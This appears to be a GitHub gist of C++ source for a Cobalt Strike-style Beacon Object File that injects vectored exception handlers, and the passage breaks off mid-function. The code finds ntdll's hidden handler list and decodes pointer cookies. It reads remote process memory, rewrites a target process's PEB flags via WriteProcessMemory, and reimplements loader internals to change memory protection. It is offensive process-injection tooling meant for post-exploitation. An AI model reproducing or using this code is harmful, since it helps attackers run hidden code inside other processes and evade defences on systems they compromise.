Skip to content

Instantly share code, notes, and snippets.

@rxwx
Last active October 22, 2024 07:34
Show Gist options
  • Save rxwx/fec434dd551eb57390833b7e029a61b1 to your computer and use it in GitHub Desktop.
Save rxwx/fec434dd551eb57390833b7e029a61b1 to your computer and use it in GitHub Desktop.
Vectored Exception Handler Injector BOF
#include <Windows.h>
#include <stdio.h>
#include "VEH.h"
#include "ntos.h"
#include "ntrtl.h"
//#include "peb.h"
#include "ntldr.h"
#include "hwbp.h"
#include "base\helpers.h"
/**
* For the debug build we want:
* a) Include the mock-up layer
* b) Undefine DECLSPEC_IMPORT since the mocked Beacon API
* is linked against the the debug build.
*/
#ifdef _DEBUG
#include "base\mock.h"
#undef DECLSPEC_IMPORT
#define DECLSPEC_IMPORT
#endif
extern "C" {
#include "beacon.h"
// CFG Stuff
PVOID LdrpAllocationGranularity = NULL;
PVOID LdrpMrdataHeap = NULL;
PVOID LdrpMrdataHeapUnprotected = NULL;
PVOID LdrpMrdataBase = NULL;
SRWLOCK LdrpMrdataLock;
SIZE_T LdrpMrdataSize;
int LdrpMrdataUnprotected;
// Used for RtlEncodePointer
ULONG g_CookieValue;
LONG CALLBACK MyVectoredHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
/*BeaconPrintf(CALLBACK_OUTPUT, "\n *** Hello from VEH!! *** \n");
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord: %#llx", ExceptionInfo->ExceptionRecord);
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionAddress: %#llx [%d]",
ExceptionInfo->ExceptionRecord->ExceptionAddress, offsetof(EXCEPTION_RECORD, ExceptionAddress));
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionFlags: %#llx [%d]",
ExceptionInfo->ExceptionRecord->ExceptionFlags, offsetof(EXCEPTION_RECORD, ExceptionFlags));
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionCode: %#llx [%d]\n",
ExceptionInfo->ExceptionRecord->ExceptionCode, offsetof(EXCEPTION_RECORD, ExceptionCode));
#ifdef _WIN64
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord: %#llx [%d]", ExceptionInfo->ContextRecord, offsetof(EXCEPTION_POINTERS, ContextRecord));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rcx: %#llx [%d]", ExceptionInfo->ContextRecord->Rcx, offsetof(CONTEXT, Rcx));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rdx: %#llx [%d]", ExceptionInfo->ContextRecord->Rdx, offsetof(CONTEXT, Rdx));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R8: %#llx [%d]", ExceptionInfo->ContextRecord->R8, offsetof(CONTEXT, R8));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R9: %#llx [%d]", ExceptionInfo->ContextRecord->R9, offsetof(CONTEXT, R9));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rip: %#llx [%d]", ExceptionInfo->ContextRecord->Rip, offsetof(CONTEXT, Rip));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rax: %#llx [%d]", ExceptionInfo->ContextRecord->Rax, offsetof(CONTEXT, Rax));
#endif
//ULONG_PTR retAddr = GetReturnAddress(ExceptionInfo->ContextRecord);
//BeaconPrintf(CALLBACK_OUTPUT, "Return Address: %#llx", retAddr);
*/
return EXCEPTION_CONTINUE_EXECUTION;
}
LONG CALLBACK MyContinueHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Hello from VCH!! *** \n");
return EXCEPTION_CONTINUE_EXECUTION;
}
BOOL LdrControlFlowGuardEnforced()
{
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
// return qword_7FFA77B093C8 && (dword_7FFA77B093AC & 1) == 0;
// LdrSystemDllInitBlock + 184 == CfgBitMap
// LdrSystemDllInitBlock + 156 == Flags (CfgOverride: 1)
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return FALSE;
PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK)GetProcAddress(ntdll, "LdrSystemDllInitBlock");
BOOL enforced = (LdrSystemDllInitBlock->CfgBitMap) && (LdrSystemDllInitBlock->Flags & 1) == 0;
BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced() => %d", enforced);
return enforced;
}
BOOL LdrControlFlowGuardEnforcedEx(HANDLE hProc)
{
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetProcessId);
//DFR_LOCAL(MSVCRT, calloc);
//DFR_LOCAL(MSVCRT, free);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return FALSE;
LPCVOID addr = GetProcAddress(ntdll, "LdrSystemDllInitBlock");
PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK)calloc(1, sizeof(PS_SYSTEM_DLL_INIT_BLOCK));
if (LdrSystemDllInitBlock == NULL || !ReadProcessMemory(hProc, addr, LdrSystemDllInitBlock, sizeof(PS_SYSTEM_DLL_INIT_BLOCK), NULL))
return FALSE;
BOOL enforced = (LdrSystemDllInitBlock->CfgBitMap) && (LdrSystemDllInitBlock->Flags & 1) == 0;
free(LdrSystemDllInitBlock);
BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced() => %s (PID: %d)",
enforced ? "true" : "false", GetProcessId(hProc));
return enforced;
}
ULONGLONG GetLdrpVectorHandlerList() {
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(MSVCRT, memcpy);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return 0;
ULONGLONG procAddress = (ULONGLONG)GetProcAddress(ntdll, "RtlRemoveVectoredExceptionHandler");
BYTE* Buffer = (BYTE*)(GetProcAddress(ntdll, "RtlRemoveVectoredExceptionHandler"));
//BeaconPrintf(CALLBACK_OUTPUT, "RtlRemoveVectoredExceptionHandler [%#llx]", procAddress);
DWORD dwCount = 0;
DWORD dwOffset = 0;
for (dwCount = 0; dwCount < 60; dwCount++) {
if ((*(Buffer + dwCount) == 0x4c) && (*(Buffer + dwCount + 1) == 0x8d) && (*(Buffer + dwCount + 2) == 0x25)) {
memcpy(&dwOffset, (Buffer + dwCount + 3), 4);
break;
}
}
return ((LONGLONG)Buffer + dwCount + 7 + dwOffset);
}
void DumpHandlerList(PVECTORED_HANDLER_LIST head)
{
DFR_LOCAL(KERNEL32, DecodePointer);
PLIST_ENTRY Flink = head->HandlerList.Flink;
int count = 0;
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %p", head->SrwLock);
BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %p", &head->HandlerList);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink);
for (PLIST_ENTRY next = Flink; next != &head->HandlerList && count < 255; next = next->Flink)
{
PVECTORED_HANDLER_ENTRY entry = reinterpret_cast<PVECTORED_HANDLER_ENTRY>(next);
BeaconPrintf(CALLBACK_OUTPUT, "-->");
BeaconPrintf(CALLBACK_OUTPUT, "entry #%d", ++count);
BeaconPrintf(CALLBACK_OUTPUT, "&entry->Entry: %p", &entry->Entry);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Flink: %p", entry->Entry.Flink);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Blink: %p", entry->Entry.Blink);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown1: %llu", *entry->Unknown1);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown2: %lu", entry->Unknown2);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Handler: %p (decoded)", DecodePointer(entry->Handler));
}
}
PVOID ReadPointer(HANDLE hProc, LPCVOID addr)
{
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
if (hProc == NULL)
return 0;
PVOID value = 0;
if (!ReadProcessMemory(hProc, addr, &value, sizeof(PVOID), NULL))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to read pointer at %#llx", addr);
return 0;
}
return value;
}
PPEB NtCurrentPeb()
{
#if defined(_WIN64)
PPEB peb = (PPEB)__readgsqword(0x60);
#else
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
return peb;
}
PVOID MemDecodePointer(PVOID Pointer, ULONG cookie)
{
return (PVOID)(RotateRight64((ULONG_PTR)Pointer, 0x40 - (cookie & 0x3f)) ^ cookie);
}
PVOID MemEncodePointer(PVOID Pointer, ULONG cookie)
{
return (PVOID)(RotateRight64((ULONG_PTR)Pointer ^ cookie, cookie & 0x3f));
}
ULONG GetProcessCookie(HANDLE hProcess) {
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
NTSTATUS status;
ULONG dwProcCookie = 0;
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return 0;
// TODO: syscalls
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)36, (DWORD_PTR*)&dwProcCookie, sizeof(ULONG), NULL);
if (status != 0)
{
return 0;
}
return dwProcCookie;
}
void DumpHandlerListEx(HANDLE hProc, LPCVOID headAddr)
{
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetLastError);
//DFR_LOCAL(MSVCRT, calloc);
//DFR_LOCAL(MSVCRT, free);
//DFR_LOCAL(MSVCRT, memset);
if (hProc == NULL)
return;
SIZE_T bytesRead;
PVECTORED_HANDLER_LIST head = (PVECTORED_HANDLER_LIST)calloc(1, sizeof(VECTORED_HANDLER_LIST));
if (head == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_LIST",
sizeof(VECTORED_HANDLER_LIST));
return;
}
if (!ReadProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesRead) ||
bytesRead != sizeof(VECTORED_HANDLER_LIST))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list. Read=%d, Error=%d",
bytesRead, GetLastError());
return;
}
DWORD count = 0;
DWORD cookie = GetProcessCookie(hProc);
PLIST_ENTRY Flink = head->HandlerList.Flink;
void* handlerListAddr = ((byte*)headAddr + offsetof(VECTORED_HANDLER_LIST, HandlerList));
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %#llx", head->SrwLock);
BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %#llx", handlerListAddr);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink);
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink);
PVECTORED_HANDLER_ENTRY entry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY));
if (entry == NULL)
{
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_ENTRY",
sizeof(VECTORED_HANDLER_ENTRY));
return;
}
for (PLIST_ENTRY next = Flink; next != handlerListAddr && count < 255;
next = (PLIST_ENTRY)ReadPointer(hProc, ((byte*)next + offsetof(LIST_ENTRY, Flink))))
{
if (!ReadProcessMemory(hProc, next, entry, sizeof(VECTORED_HANDLER_ENTRY), &bytesRead) ||
bytesRead != sizeof(VECTORED_HANDLER_ENTRY))
{
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler entry");
break;
}
BeaconPrintf(CALLBACK_OUTPUT, "-->");
BeaconPrintf(CALLBACK_OUTPUT, "entry #%d", ++count);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry: %#llx", ((byte*)next + offsetof(VECTORED_HANDLER_ENTRY, Entry)));
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Flink: %#llx", entry->Entry.Flink);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Entry.Blink: %#llx", entry->Entry.Blink);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown1: %llu", ReadPointer(hProc, entry->Unknown1));
BeaconPrintf(CALLBACK_OUTPUT, "entry->Unknown2: %lu", entry->Unknown2);
BeaconPrintf(CALLBACK_OUTPUT, "entry->Handler: %p (decoded)", MemDecodePointer(entry->Handler, cookie));
memset(entry, 0, sizeof(VECTORED_HANDLER_ENTRY));
}
free(head);
free(entry);
}
void DumpHandlers(BOOL addVEH, BOOL addVCH)
{
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
//DFR_LOCAL(KERNEL32, AddVectoredContinueHandler);
VECTORED_HANDLER_ENTRY* veh = NULL;
VECTORED_HANDLER_ENTRY* vch = NULL;
VECTORED_HANDLER_LIST* LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST)GetLdrpVectorHandlerList();
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Metadata *** \n");
if (addVEH)
{
veh = (VECTORED_HANDLER_ENTRY*)AddVectoredExceptionHandler(1, MyVectoredHandler);
BeaconPrintf(CALLBACK_OUTPUT, "Address of VEH: %p", veh);
}
if (addVCH)
{
vch = (VECTORED_HANDLER_ENTRY*)AddVectoredContinueHandler(1, MyContinueHandler);
BeaconPrintf(CALLBACK_OUTPUT, "Address of VCH: %p", vch);
}
BeaconPrintf(CALLBACK_OUTPUT, "MyVectoredHandler: %p", MyVectoredHandler);
BeaconPrintf(CALLBACK_OUTPUT, "MyContinueHandler: %p", MyContinueHandler);
BeaconPrintf(CALLBACK_OUTPUT, "LdrpVectorHandlerList: 0#%#llx", *(ULONG_PTR*)LdrpVectorHandlerList);
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Vectored Exception Handlers *** \n");
DumpHandlerList(&LdrpVectorHandlerList[0]);
BeaconPrintf(CALLBACK_OUTPUT, "\n *** Vectored Continue Handlers *** \n");
DumpHandlerList(&LdrpVectorHandlerList[1]);
}
PVOID GetProcessHeapEx(HANDLE hProcess) {
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
NTSTATUS status;
PVOID ProcessHeap = NULL;
PROCESS_BASIC_INFORMATION ProcessInformation{};
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return NULL;
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL);
if (status != 0)
return NULL;
SIZE_T dwRead = 0;
PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress;
if (ReadProcessMemory(hProcess, (PBYTE)pPEB + offsetof(PEB, ProcessHeap), &ProcessHeap, sizeof(PVOID), &dwRead) == FALSE)
return NULL;
return ProcessHeap;
}
BOOL SetCrossProcessFlags(HANDLE hProcess, DWORD64 NewFlags) {
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, VirtualProtectEx);
//DFR_LOCAL(KERNEL32, WriteProcessMemory);
NTSTATUS status;
DWORD64 CrossProcessFlags = 0;
PROCESS_BASIC_INFORMATION ProcessInformation{};
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return FALSE;
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL);
if (status != 0)
{
return FALSE;
}
SIZE_T dwRead = 0;
PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress;
if (ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, &CrossProcessFlags, sizeof(DWORD64), &dwRead) == FALSE) {
return FALSE;
}
BeaconPrintf(CALLBACK_OUTPUT, "Old CrossProcessFlags: %d", CrossProcessFlags);
// Add new flags
CrossProcessFlags |= NewFlags;
BeaconPrintf(CALLBACK_OUTPUT, "New CrossProcessFlags: %d", CrossProcessFlags);
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, (PBYTE)pPEB + 0x50, sizeof(DWORD64), PAGE_READWRITE, &oldProtect))
{
return FALSE;
}
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hProcess, (PBYTE)pPEB + 0x50, &CrossProcessFlags, sizeof(DWORD64), &bytesWritten))
{
return FALSE;
}
return VirtualProtectEx(hProcess, (PBYTE)pPEB + 0x50, sizeof(DWORD64), oldProtect, &oldProtect);
}
LPVOID GetCrossProcessFlags(HANDLE hProcess, PEB* outPEB, DWORD64* CrossProcessFlags) {
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
NTSTATUS status;
PROCESS_BASIC_INFORMATION ProcessInformation{};
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL)
return NULL;
// TODO: syscalls
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess");
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, (DWORD_PTR*)&ProcessInformation, sizeof(ProcessInformation), NULL);
if (status != 0)
{
return NULL;
}
SIZE_T dwRead = 0;
if (outPEB != NULL && ReadProcessMemory(hProcess, ProcessInformation.PebBaseAddress, outPEB, sizeof(PEB), &dwRead) == FALSE) {
return NULL;
}
PPEB pPEB = (PPEB)ProcessInformation.PebBaseAddress;
if (CrossProcessFlags != NULL && ReadProcessMemory(hProcess, (PBYTE)pPEB + 0x50, (LPVOID)CrossProcessFlags, sizeof(DWORD64), &dwRead) == FALSE) {
return NULL;
}
return (LPVOID)ProcessInformation.PebBaseAddress;
}
ULONGLONG LdrpLocateMrdata()
{
//DFR_LOCAL(KERNEL32, VirtualQuery);
BeaconPrintf(CALLBACK_OUTPUT, "LdrpLocateMrdata()");
// TODO: still need to Reverse this func
// For now we can just return the page that the VEH list is in (as a cheat)
ULONGLONG result = 0;
PVOID addr = (PVOID)GetLdrpVectorHandlerList();
MEMORY_BASIC_INFORMATION memInfo;
if (!VirtualQuery(&addr, &memInfo, sizeof(memInfo)))
__fastfail(5);
LdrpMrdataBase = addr;
LdrpMrdataSize = 0x1000;
LdrpMrdataUnprotected = memInfo.Protect & PAGE_READONLY;
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataBase = %p\n", LdrpMrdataBase);
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataSize = %llu\n", LdrpMrdataSize);
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataUnprotected = %d\n", LdrpMrdataUnprotected);
//__int64 v0; // rdx
//__int64 v1; // rax
//__int64 v2; // rdi
//__int64 v3; // rbx
//__int64 result; // rax
//__int64 v5; // [rsp+30h] [rbp+8h] BYREF
//RtlImageNtHeaderEx(3i64, 0x180000000ui64, 0i64, &v5);
//v1 = RtlSectionTableFromVirtualAddress(v5, v0, (unsigned int)&LdrSystemDllInitBlock - 0x80000000);
//if (!v1)
// __fastfail(5u);
//v2 = 0x180000000i64 + *(unsigned int*)(v1 + 12);
//v3 = *(unsigned int*)(v1 + 8);
//result = LdrpMakePermanentImageCommit(v2, v3);
//LdrpMrdataSize = v3;
//LdrpMrdataBase = v2;
return result;
}
NTSTATUS LdrpChangeMrdataProtection(ULONG Protect)
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
NTSTATUS result;
ULONG OldProtect;
SIZE_T RegionSize;
PVOID BaseAddress;
HMODULE ntdll = GetModuleHandleA("ntdll");
if (ntdll == NULL)
return STATUS_INVALID_HANDLE;
// TODO: syscalls
NtProtectVirtualMemory = (LPNTPROTECTVIRTUALMEMORY)GetProcAddress(ntdll, "NtProtectVirtualMemory");
if (!LdrpMrdataBase)
LdrpLocateMrdata();
OldProtect = Protect;
BaseAddress = LdrpMrdataBase;
RegionSize = LdrpMrdataSize;
//BeaconPrintf(CALLBACK_OUTPUT, "call NtProtectVirtualMemory");
//BeaconPrintf(CALLBACK_OUTPUT, "Protect: %lu", Protect);
//BeaconPrintf(CALLBACK_OUTPUT, "RegionSize: %zu", RegionSize);
//BeaconPrintf(CALLBACK_OUTPUT, "BaseAddress: %p", BaseAddress);
result = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect);
//BeaconPrintf(CALLBACK_OUTPUT, "result = %d", result);
if (!NT_SUCCESS(result))
__fastfail(5);
return result;
}
VOID NTAPI LdrProtectMrdata(int Protect)
{
/*
* Rules for calling this function (as I understand it)
*
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 1 will cause a __fastfail
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == -1 will cause a __fastfail
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected >= 1 will always increment LdrpMrdataUnprotected by 1
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0 will:
* cause the protection to be changed to READWRITE
* increment LdrpMrdataUnprotected by 1
* this means that LdrpMrdataUnprotected could be any value above 1, or even overflow (see above -1 check)
*
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 0 will cause a __fastfail
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected > 0 will always decrement LdrpMrdataUnprotected by 1
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 1 will:
* cause the protection to be changed to READONLY
* decrement LdrpMrdataUnprotected by 1
*
* Notes:
* a) you could crank up LdrpMrdataUnprotected to a high number and LdrProtectMrdata(1)
* will never actually set the page back to READONLY
* b) the caller has to check LdrpMrdataUnprotected to make sure they dont crash the process if its out of sync
* c) if LdrpMrdataUnprotected is uninitialised it will be treated as if the initial state is READONLY
*/
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
int isReadWrite; // edi
BeaconPrintf(CALLBACK_OUTPUT, "LdrProtectMrdata(%d)", Protect);
BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataUnprotected: %d", LdrpMrdataUnprotected);
AcquireSRWLockExclusive(&LdrpMrdataLock);
isReadWrite = LdrpMrdataUnprotected;
//LdrProtectMrdata(0)
if (!Protect)
{
// If MrData is READONLY (LdrpMrdataUnprotected == 0)
if (!LdrpMrdataUnprotected)
{
LdrpChangeMrdataProtection(PAGE_READWRITE);
LABEL_5:
LdrpMrdataUnprotected = isReadWrite + 1;
return ReleaseSRWLockExclusive(&LdrpMrdataLock);
}
// else it's already READWRITE (LdrpMrdataUnprotected > 0)
// overflow check here
// but what happens if it's 2 or already 1?
if (LdrpMrdataUnprotected != -1)
goto LABEL_5;
LABEL_10:
ReleaseSRWLockExclusive(&LdrpMrdataLock);
__fastfail(0xEu);
}
// LdrProtectMrData(1) ..
// If MrData is READONLY (LdrpMrdataUnprotected == 0)
// Shouldn't call LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0
if (!LdrpMrdataUnprotected)
goto LABEL_10;
// Decrement LdrpMrdataUnprotected (i.e. from 1 to 0)
// But what happens if it was 2, does it go to 1?
--LdrpMrdataUnprotected;
// If LdrpMrdataUnprotected was originally 1 (i.e. READWRITE)
// When we entered the function, then it's safe to change to READONLY
if (isReadWrite == 1)
LdrpChangeMrdataProtection(PAGE_READONLY);
return ReleaseSRWLockExclusive(&LdrpMrdataLock);
}
NTSTATUS LdrEnsureMrdataHeapExistsEx(HANDLE hProc)
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
NTSTATUS result;
PVOID pHeap;
PVOID alloc;
BOOLEAN ProtectHeap;
PVOID BaseAddress;
ULONG_PTR RegionSize;
if (hProc == NULL)
return STATUS_INVALID_HANDLE;
HMODULE ntdll = GetModuleHandleA("ntdll");
if (ntdll == NULL)
return STATUS_INVALID_HANDLE;
// TODO: syscalls
NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(ntdll, "NtFreeVirtualMemory");
RtlCreateHeap = (RTLCREATEHEAP)GetProcAddress(ntdll, "RtlCreateHeap");
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap");
RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap");
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap");
RtlDestroyHeap = (RTLDESTROYHEAP)GetProcAddress(ntdll, "RtlDestroyHeap");
BeaconPrintf(CALLBACK_OUTPUT, "LdrEnsureMrdataHeapExistsEx");
// If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL)
if (!LdrControlFlowGuardEnforcedEx(hProc)) // || LdrpMrdataHeap)
return STATUS_SUCCESS;
BaseAddress = 0;
RegionSize = (ULONG_PTR)LdrpAllocationGranularity;
result = NtAllocateVirtualMemory(hProc, &BaseAddress, 0, &RegionSize, MEM_RESERVE, PAGE_READWRITE);
if (NT_SUCCESS(result))
{
pHeap = RtlCreateHeap(HEAP_GROWABLE, BaseAddress, 0, 0, 0, 0);
if (pHeap)
{
alloc = RtlAllocateHeap(pHeap, 0, 4);
if (alloc)
{
ProtectHeap = TRUE;
RtlProtectHeap(pHeap, ProtectHeap);
LdrProtectMrdata(FALSE);
AcquireSRWLockExclusive(&LdrpMrdataLock);
// Now we allocated a READONLY heap, lets update the global variables
if (!LdrpMrdataHeap)
{
// LdrpMrdataHeapUnprotected will either be NULL or address of alloc
LdrpMrdataHeapUnprotected = alloc;
LdrpMrdataHeap = pHeap;
ReleaseSRWLockExclusive(&LdrpMrdataLock);
LdrProtectMrdata(TRUE);
return STATUS_SUCCESS;
}
ReleaseSRWLockExclusive(&LdrpMrdataLock);
LdrProtectMrdata(TRUE);
RtlProtectHeap(pHeap, 0);
RtlFreeHeap(pHeap, 0, alloc);
}
RtlDestroyHeap(pHeap);
}
// Free memory we allocated with NtAllocateVirtualMemory
// We get here if RtlCreateHeap or RtlAllocateHeap failed
NtFreeVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
// Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap
// However another thread may have already allocated it, so we double check (I guess?)
if (!LdrpMrdataHeap)
return STATUS_NO_MEMORY;
return STATUS_SUCCESS;
}
// If NtAllocateVirtualMemory fails, we just return it's NT_STATUS
return result;
}
NTSTATUS LdrEnsureMrdataHeapExists()
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
NTSTATUS result;
PVOID pHeap;
PVOID alloc;
BOOLEAN ProtectHeap;
PVOID BaseAddress;
ULONG_PTR RegionSize;
HMODULE ntdll = GetModuleHandleA("ntdll");
if (ntdll == NULL)
return STATUS_INVALID_HANDLE;
// TODO: syscalls
NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(ntdll, "NtFreeVirtualMemory");
RtlCreateHeap = (RTLCREATEHEAP)GetProcAddress(ntdll, "RtlCreateHeap");
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap");
RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap");
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap");
RtlDestroyHeap = (RTLDESTROYHEAP)GetProcAddress(ntdll, "RtlDestroyHeap");
BeaconPrintf(CALLBACK_OUTPUT, "LdrEnsureMrdataHeapExists");
// If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL)
if (!LdrControlFlowGuardEnforced() || LdrpMrdataHeap)
return STATUS_SUCCESS;
BaseAddress = 0;
RegionSize = (ULONG_PTR)LdrpAllocationGranularity;
result = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE, PAGE_READWRITE);
if (NT_SUCCESS(result))
{
pHeap = RtlCreateHeap(HEAP_GROWABLE, BaseAddress, 0, 0, 0, 0);
if (pHeap)
{
alloc = RtlAllocateHeap(pHeap, 0, 4);
if (alloc)
{
ProtectHeap = TRUE;
RtlProtectHeap(pHeap, ProtectHeap);
